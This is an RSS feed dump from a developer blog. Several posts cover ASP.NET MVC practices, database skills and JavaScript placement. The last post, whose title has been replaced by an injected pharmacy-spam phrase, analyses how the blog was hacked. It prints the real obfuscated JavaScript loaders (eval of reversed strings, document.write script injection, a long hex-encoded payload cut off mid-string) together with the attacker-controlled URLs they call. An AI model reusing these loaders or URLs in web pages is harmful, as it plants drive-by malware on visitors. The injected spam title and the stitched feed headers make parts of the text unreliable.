I subtle little trick I sometimes do with this this is to wrap a section of code that takes a long time to load in a partial.  I will then call that partial into my page AFTER is has loaded on the browser (using the JavaScript function setTimeout to call the $.load ).  Now I get  a page that loads faster, but still has all of the data it needs.

8. <strong>Make the Master page work for you.</strong>

It isn't that there is something inherently wrong with the existing master page that you get when you create a new Asp.net MVC project.  Typically it is 80% of what you would want.  But, as soon as I know what my general page is supposed to look like, I rip right into the Master Page.   Also keep in mind that you can nest Master Pages as well.

9. <strong>Think about what a designer would want.</strong>

Even if you don't have one.  This is just a general pattern I try to get into.  I think about a designer as someone that can take raw html, add some css and images and make my work look a LOT better.    This means I use the raw html whenever possible, I write my JavaScript click handler so they will work with buttons or links (hint: always return false -- and why haven't I written a JQuery plugin for this yet?).

10.  <strong>Version your css and JavaScript</strong>

This is actually getting into my next blog post, but figure out a way to version your JavaScript and CSS.  This really isn't MVC specific, you should do this in almost any project.  The key reason is to help you with a browser's cache.  You know you have a problem when the first thing someone tells you, when asking for help, is that they cleared their cache already.   My thought on this is your web app's dll should have a version number, set the project to auto version, and then pop that onto the end of the css/javascript file call.  So it might look like this:  "http://myapp/.../file.css?version=1.0.0.256".   In my sample code, when in development I stick a timestamp on the file in the same way.

OK, 10 rules is quite enough (I didn't even think I would get that many).   To the american's reading this: Happy Independence Day.]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/07/05/asp-net-mvc-my-personal-view-rules/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Developers still need database skills</title>
		<link>http://elegantcode.com/2010/04/30/developers-still-need-database-skills/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=developers-still-need-database-skills</link>
		<comments>http://elegantcode.com/2010/04/30/developers-still-need-database-skills/#comments</comments>
		<pubDate>Sat, 01 May 2010 00:53:37 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2010/04/30/developers-still-need-database-skills/</guid>
		<description><![CDATA[Rant here.&#160; First off, I’m going to be talking about DBAs.&#160; And by DBA, I mean a database developer.&#160; Someone who knows relational theory, optimization, and SQL inside out.&#160; This is an R&#38;D DBA.&#160; There is another type of DBA that mainly deals with uptime and backup strategies.&#160; This is an IT DBA, I’m not [...]]]></description>
			<content:encoded><![CDATA[<p>Rant here.&#160; First off, I’m going to be talking about DBAs.&#160; And by DBA, I mean a database developer.&#160; Someone who knows relational theory, optimization, and SQL inside out.&#160; This is an R&amp;D DBA.&#160; There is another type of DBA that mainly deals with uptime and backup strategies.&#160; This is an IT DBA, I’m not talking about that one at all.</p>  <p>I was going to talk to some of my fellow developers about a couple of database issues.&#160; The response was, “you said the ‘D’ word.&#160; Now, we are an NHibernate/Microsoft SQL Server shop (or, Fluent NHibernate), and we rarely have to think about think about database architecture.&#160; Heck, up till a month ago I don’t think we had to do any native SQL queries at all.&#160; Currently, I don’t think we have any stored procs at all.&#160; In my book, all of that is a good thing.&#160; You can also chalk one up to Microsoft SQL Server in this one, our system has grown a lot and performance has remained pretty darn stable.</p>  <p>And lets be frank, I love this – most of the time.&#160; Linq To NHibernate queries, Fluent NHibernate, and the like all make for a very enjoyable experience for developing against a database.&#160; I would say that the vast majority of our querying needs are met with no further issues.&#160; I certainly don’t want to go back to a stored proc world.&#160; </p>  <p>That said, I don’t like using our ORM as an excuse to not talk about database issues or SQL issues.&#160; If you are using a particular data storage technology, it still behooves you to know as much about it as possible.&#160; Otherwise, when you get to a point where you need to know about what is going on will be too late.&#160; Lets be frank here, no ORM will handle all of you query needs.&#160; At best we are talking 90%, sometimes only 80%, for a typical application.&#160; At some point you either have to go to the metal, or you end up coding things in a very strange way.</p>  <p>So here is the main point, as long as Relational Databases continue to be the “right answer” for business data storage, you need to learn database theory and SQL.&#160; You might not need to know SQL as well as your native C#, Ruby, or other main language.&#160; But that is not an excuse for not being comfortable with left outer joins, third normal form, and indexing.</p>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/04/30/developers-still-need-database-skills/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Your JavaScript goes WHERE?</title>
		<link>http://elegantcode.com/2010/03/30/your-javascript-goes-where/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=your-javascript-goes-where</link>
		<comments>http://elegantcode.com/2010/03/30/your-javascript-goes-where/#comments</comments>
		<pubDate>Wed, 31 Mar 2010 03:35:37 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[html]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2010/03/30/your-javascript-goes-where/</guid>
		<description><![CDATA[Let me start by saying that I was not trying to be controversial.  I was at Boise Code Camp giving a session about Asp.Net MVC, and I happened to mention that JavaScript was supposed to go at the bottom of your page.  Plus, I said this in a “of course you all know this already” [...]]]></description>
			<content:encoded><![CDATA[Let me start by saying that I was not trying to be controversial.  I was at Boise Code Camp giving a session about Asp.Net MVC, and I happened to mention that JavaScript was supposed to go at the bottom of your page.  Plus, I said this in a “of course you all know this already” type of voice, thinking this needed no further explanation.

Then the hands started raising.  Quickly, I might add.  I had to explain myself.  Yes, JavaScript goes at the bottom of your page.  Yes, I realize that we were all taught, back in the day, that JavaScript’s true home was in the &lt;head&gt; element.  In fact, <a href="http://docs.jquery.com/Tutorials:Getting_Started_with_jQuery">many sample pages still show JavaScript at the top</a>.  But we probably learned that ten years ago, you have to think a few things have changed…except IE6 – that sucker is going to live forever!  Anyway, I’m not the type that like to stand up in a crowd and say “everything you, and everyone you know, is doing is wrong” (I’m not that smart).  And if I do, I want to come with some substantial proof.

To start, <a href="http://www.w3.org/TR/REC-html40/interact/scripts.html#h-18.2.1">where does the w3c say the SCRIPT element is supposed to go?</a>  If you read the document in the link, SCRIPT can live in either the HEAD or the BODY elements. So technically, both places are legal.  I am stating this so that no one come back and tells me I’m breaking any fundamental web rules.  If the w3c says it is ok, then it is ok darn it.
<h2>But why the bottom of the page? </h2>
That one is slightly harder to explain.  But here are the basics:  when a browser loads a document there are only so many thread for processing the document and download all the other crap that you put on the page <a href="http://theoatmeal.com/comics/design_hell">so it pops</a> (so, images and css, not to mention the bagillion font tags that Word likes to put in html).  There is also an unwritten rule that JavaScript should enhance the page after it is loaded.  So any time the browser spends parsing JavaScript is time it could be using to make the page look right.  Also, with some browsers, when the browser is loading JavaScript, ALL OTHER ACTIVITY STOPS.  Nothing else is downloaded, the browser is at a standstill until all the script is parsed – and <a href="http://ejohn.org/blog/javascript-performance-rundown/">you know how fast IE is at JavaScript.</a>

Lets be clear about this “rule”.  <a href="http://developer.yahoo.com/performance/rules.html#js_bottom">I did not make this up.</a>  But there are other ways around the performance penalty, you can also <a href="http://code.google.com/speed/page-speed/docs/payload.html#DeferLoadingJS">defer load</a> your JavaScript.  Also, putting all of the JavaScript into a single, external file is a great idea.  With a external file you get the added benefit of the JavaScript file being cached by the browser (Note: great for the user – pain for your tester.  Repeat after me, “CLEAR YOUR CACHE” often when testing).

OK, so let us review.

<a href="http://elegantcode.com/wp-content/uploads/2010/03/image17.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" src="http://elegantcode.com/wp-content/uploads/2010/03/image_thumb17.png" border="0" alt="image" width="823" height="594" /></a>
<h2>But how bad is this?</h2>
That is a fair question as well.  Truthfully, it depends.  I know that is my stock answer, but I’m talking about how much this will affect the user.  It could be nothing.  But if you have a lot of JavaScript on the page, it could be significant.   Potentially it could be as annoying as a blink tag.  Even worse it might be on par with ESPN and their auto-playing videos.   But, if we are talking about 10-20 lines of script, there could be no change at all in render time. I will say this, by moving the script to the bottom of the page I have taken pages that were not usable for 10 seconds, improved it to moments (the page had a LOT of JavaScript…and it was a very noble cause).
<h2>What else should I be doing that I’m not?</h2>
This one is easy.  Run all of your pages through <a href="http://developer.yahoo.com/yslow/">YSlow</a> and <a href="http://code.google.com/speed/page-speed/">PageSpeed</a> (you need FireFox and <a href="http://getfirebug.com/">Firebug</a> installed for this) and find out.  Also, you don’t have to be perfect as far as these tools are concerned.  Some of the rule are probably not practical either (the “You should be using a CDN for images” rule comes to mind).  But it is good to know where you can improve.  PageSpeed has a number of really nice tools as well.  It will return you properly sized images, and compressed CSS and JavaScript if you ask it.]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/03/30/your-javascript-goes-where/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Asp.Net MVC 2 Areas</title>
		<link>http://elegantcode.com/2010/03/13/asp-net-mvc-2-areas/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=asp-net-mvc-2-areas</link>
		<comments>http://elegantcode.com/2010/03/13/asp-net-mvc-2-areas/#comments</comments>
		<pubDate>Sun, 14 Mar 2010 00:13:19 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Asp.Net MVC]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2010/03/13/asp-net-mvc-2-areas/</guid>
		<description><![CDATA[I’m looking into the new stuff in Asp.Net MVC 2, trying to figure out what is cool and what is just there.&#160; Areas look like a nice addition.&#160; Areas allow you to separate your Asp.Net MVC application into more distinct partitions.&#160; So all of the Controllers, Models, Views, and even routes belong to one directory [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://elegantcode.com/wp-content/uploads/2010/03/image13.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; margin-left: 0px; border-top: 0px; margin-right: 0px; border-right: 0px" title="image" border="0" alt="image" align="right" src="http://elegantcode.com/wp-content/uploads/2010/03/image_thumb13.png" width="119" height="244" /></a>I’m looking into the new stuff in Asp.Net MVC 2, trying to figure out what is cool and what is just there.&#160; Areas look like a nice addition.&#160; Areas allow you to separate your Asp.Net MVC application into more distinct partitions.&#160; So all of the Controllers, Models, Views, and even routes belong to one directory structure.&#160; It is like having a sub-project inside of you MVC project. </p>  <p>Here is the problem, as I see it:&#160; as an MVC project gets large, keeping all of the necessary pieces and parts for a set of controller actions straight can get a bit daunting.&#160; I’ve ended up with duplicate folder structures in views and models, which can make navigation a pain.</p>  <p>To make a new Area, simply right-click anywhere in you MVC project, Add-&gt;Area.&#160; As I said, you can do this from anywhere in the project structure, but the Areas are created in a new “Areas” folder.&#160; When you name the Area, a new folder is created with the Areas name as well.</p>  <p>Once created you should see all the familiar Controllers, Models, and Views folders (all blank).&#160; In addition to that, you will see an &lt;name&gt;AreaRegistration.cs file.&#160; This inherits from AreaRegistration, and this is where any new Routes go.&#160; In the file is a prebuilt route that should look similar to this:</p>  <div style="border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px" id="codeSnippetWrapper">   <div style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px" id="codeSnippet">     <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum1">   1:</span> context.MapRoute(</pre>
<!--CRLF-->

    <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum2">   2:</span>     <span style="color: #006080">&quot;test1_default&quot;</span>,</pre>
<!--CRLF-->

    <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum3">   3:</span>     <span style="color: #006080">&quot;test1/{controller}/{action}/{id}&quot;</span>,</pre>
<!--CRLF-->

    <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum4">   4:</span>     <span style="color: #0000ff">new</span> { action = <span style="color: #006080">&quot;Index&quot;</span>, id = UrlParameter.Optional }</pre>
<!--CRLF-->

    <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum5">   5:</span> );</pre>
<!--CRLF--></div>
</div>

<p>So a url to the area would include /test1/ (name of my Area) in the path.&#160; That would be good if you had multiple controllers with the same name, but if you don’t, just take out the “test1” and you won’t need it in the path.</p>

<p>Also, if you leave Area name in the route, you will have a little more work to, here is what one of mine looked like:&#160; &lt;%=Html.ActionLink(&quot;test&quot;, &quot;Index&quot;, &quot;test1/TestArea&quot;) %&gt;.&#160; But it turns out this is more correct: </p>

<p>&lt;%=Html.ActionLink(&quot;test&quot;, &quot;Index&quot;, &quot;TestArea&quot;, new { area=&quot;Test1&quot;}, new {}) %&gt; </p>

<p>This also mean that any controller actions you want to link to outside if Area needs to include a blank area in the link, like this:</p>

<p>&lt;%=Html.ActionLink(&quot;Home&quot;, &quot;Index&quot;, &quot;Home&quot;, new { area=&quot;&quot;}, new {}) %&gt; </p>

<p></p>

<p></p>

<p>In case you are wondering, the first object in the area is for route values, the second is for html attributes.</p>

<p>So the downside of using Areas is that you could complicate your routing in a hurry.&#160; Plus it does not look like the Html helpers are there to lend you a hand either.&#160; It is very doable, just annoying.&#160; Of course, the easy fix is to remove the Area name from the route and move on.&#160; That should be ok so long as you do not have two controllers with the same name.</p>

<p>So are Areas a compelling feature? I think so.&#160; Plus, the larger the site, the more compelling Areas can become.&#160; For smaller sites, probably not.&#160; But I would not say no either.</p>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/03/13/asp-net-mvc-2-areas/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>JQuery Validator Cheat Sheet</title>
	<atom:link href="http://elegantcode.com/author/brandsma/feed/" rel="self" type="application/rss+xml" />
	<link>http://elegantcode.com</link>
	<description></description>
	<lastBuildDate>Tue, 15 May 2012 10:00:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Elegant Code &#187; Chris Brandsma</title>
	<atom:link href="http://elegantcode.com/author/brandsma/feed/" rel="self" type="application/rss+xml" />
	<link>http://elegantcode.com</link>
	<description></description>
	<lastBuildDate>Tue, 15 May 2012 10:00:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Flagyl For Sale</title>
		<link>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=getting-hacked-and-seven-levels-of-indirection</link>
		<comments>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/#comments</comments>
		<pubDate>Wed, 11 Apr 2012 04:27:49 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=5068</guid>
		<description><![CDATA[Flagyl For Sale, OK, cat out of the bag here, Elegant Code got hacked.&#160; Most likely because someone figured out a username/password on the site.&#160;&#160; That is the boring part.&#160; Blah blah blah, use strong passwords, make sure you don’t have sql injection, js injection, etc.&#160; OK, onto the interesting part!&#160;&#160; What did the hackers [...]]]></description>
			<content:encoded><![CDATA[<p> <p> <b>Flagyl For Sale</b>, OK, cat out of the bag here, Elegant Code got hacked.&#160; Most likely because someone figured out a username/password on the site.&#160;&#160; That is the boring part.&#160; Blah blah blah, use strong passwords, make sure you don’t have sql injection, js injection, etc.&#160; OK, onto the interesting part!&#160;&#160; What did the hackers do with this untold power (full admin rights to our web site)?&#160; Well, they injected one link.&#160; To a javascript file.&#160; Which loaded another javascript file, which downloaded another,…., which downloaded a Java applet, which seems to load images in the background.</p>  <p>OK, the first link injected into the site (the site master page, or whatever they call it in wordpress php land – I don’t speak much of their language) was this:</p>  <p>[http://geistsweden.eu/wp-cache/]&#160;&#160;&#160;&#160; a link that was kind enough to load this javascript.</p>  <div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">   <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">     <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">function</span> r(s) { <span style="color: #0000ff">var</span> i = 0; <span style="color: #0000ff">var</span> ss = <span style="color: #006080">''</span>; <span style="color: #0000ff">for</span> (i=s.length - 1; i &gt;= 0; i--) { ss += s.charAt(i); } <span style="color: #0000ff">return</span> ss; } <span style="color: #0000ff">try</span> { <span style="color: #0000ff">new</span> document(1111); } <span style="color: #0000ff">catch</span>(e) { x = eval; x(r(<span style="color: #006080">'&quot;=crs &quot;tpircsavaj/txet&quot;=epyt tpircs&lt;\'(etirw.tnemucod'</span>) + <span style="color: #006080">'http://dl.dropbox.com/u/64856372/B4/Controle.js'</span> + r(<span style="color: #006080">')\'&gt;tpircs/&lt;&gt;&quot;'</span>)); }</pre>  </div></div></p>
<p><p>If you can read that, you would actually see it loading another javascript file from DropBox from the following url: [http://dl.dropbox.com/u/64856372/B4/Controle.js] which in turn loads this:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> document.<span style="color: #0000ff">write</span>(unescape(<span style="color: #006080">'%3Cscript%20src%3D%22http%3A%2F%2Fflyfishers.ch%2Fwp-admin%2FcPanelX%2Findex.php%3Fsetup%3Dd%22%3E%3C%2Fscript%3E'</span>));</pre>  </div></div></p>
<p><p>Using Google Chrome, load up a random web page, right-click and take “Inspect element” somewhere on the document.&#160; Find the console tab, and you can enter in the entire part that matches “unescape(….)” and get the contents.&#160; Magically you get ANOTHER URL:&#160; [http://flyfishers.ch/wp-admin/cPanelX/index.php?setup=d].</p></p>
<p><p>Now, that part was easy, now it gets tricky, and long.&#160; Here is the contents of that GET request:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> document.write(<span style="color: #006080">'&lt;sc'</span> + <span style="color: #006080">'ri'</span> + <span style="color: #006080">'pt src=&quot;http://flyfishers.ch/wp-admin/cPanelX/index.php?setup=d&amp;s=2&amp;r='</span> + Math.floor(100000 + (Math.random()*999999 + 1)) + <span style="color: #006080">'&quot; type=&quot;text/javascript&quot; charset=&quot;iso-8859-1&quot;&gt;&lt;/sc'</span> + <span style="color: #006080">'ri'</span> + <span style="color: #006080">'pt&gt;'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> <span style="color: #0000ff">function</span> aAwJinPSCPg() { <span style="color: #0000ff">var</span> moqbqYo = <span style="color: #006080">'\x76\x61\x72\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x20\x3d\x20\x27\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d\x27\x3b\x20\x76\x61\x72\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x20\x3d\x20\x27\x66\x3d\x28\x3c\x38\x3d\x3e\x79\x79\x40\x3d\x2b\x29\x29\x38\x37\x3d\x78\x2a\x37\x37\x2e\x79\x27\x3b\x20\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x62\x6c\x4d\x66\x47\x61\x56\x78\x78\x78\x76\x28\x73\x29\x20\x7b\x20\x76\x61\x72\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x3d\x20\x27\x27\x3b\x20\x76\x61\x72\x20\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3d\x20\x2d\x31\x3b\x20\x76\x61\x72\x20\x63\x20\x3d\x20\x30\x3b\x20\x76\x61\x72\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3d\x20\x30\x3b\x20\x76\x61\x72\x20\x4a\x52\x74\x7a\x46\x74\x59\x20\x3d\x20\x75\x6e\x65\x73\x63\x61\x70\x65\x28\x73\x29\x3b\x20\x20\x66\x6f\x72\x20\x28\x76\x61\x72\x20\x69\x3d\x30\x3b\x69\x3c\x4a\x52\x74\x7a\x46\x74\x59\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x69\x2b\x2b\x29\x20\x7b\x20\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x4a\x52\x74\x7a\x46\x74\x59\x2e\x63\x68\x61\x72\x41\x74\x28\x69\x29\x29\x3b\x20\x69\x66\x20\x28\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3e\x3d\x20\x30\x29\x20\x7b\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3d\x20\x28\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x2d\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x2e\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74\x28\x63\x29\x29\x20\x25\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x20\x69\x66\x20\x28\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3c\x20\x30\x29\x20\x7b\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x2b\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x20\x7d\x20\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x2b\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x63\x68\x61\x72\x41\x74\x28\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x29\x3b\x20\x20\x63\x2b\x2b\x3b\x20\x69\x66\x20\x28\x63\x20\x3e\x3d\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x2e\x6c\x65\x6e\x67\x74\x68\x29\x20\x7b\x20\x63\x20\x3d\x20\x30\x3b\x20\x7d\x20\x7d\x20\x65\x6c\x73\x65\x20\x7b\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x2b\x3d\x20\x4a\x52\x74\x7a\x46\x74\x59\x2e\x63\x68\x61\x72\x41\x74\x28\x69\x29\x3b\x20\x7d\x20\x7d\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x3b\x20\x7d\x20\x65\x76\x61\x6c\x28\x62\x6c\x4d\x66\x47\x61\x56\x78\x78\x78\x76\x28\x27\x54\x57\x53\x25\x32\x30\x65\x6a\x69\x5f\x6f\x56\x67\x6e\x6e\x58\x5f\x51\x50\x25\x30\x39\x25\x30\x39\x33\x25\x32\x30\x6a\x6e\x6b\x48\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x51\x59\x25\x32\x30\x61\x51\x69\x5f\x53\x5a\x67\x6b\x6f\x6b\x5f\x52\x62\x59\x49\x55\x55\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x58\x70\x6a\x53\x25\x33\x41\x31\x31\x4a\x2e\x6a\x52\x57\x55\x58\x66\x71\x6b\x6b\x56\x71\x2e\x59\x53\x4f\x6e\x79\x74\x35\x78\x6b\x73\x76\x73\x72\x6a\x5a\x62\x31\x54\x57\x31\x75\x55\x25\x32\x42\x78\x70\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x58\x43\x69\x25\x32\x30\x5a\x6f\x63\x5f\x55\x55\x66\x56\x69\x52\x5f\x66\x42\x71\x52\x6b\x6b\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x59\x73\x70\x54\x25\x33\x41\x6e\x6e\x54\x2e\x69\x70\x51\x57\x53\x65\x62\x65\x52\x61\x53\x2e\x58\x66\x69\x38\x79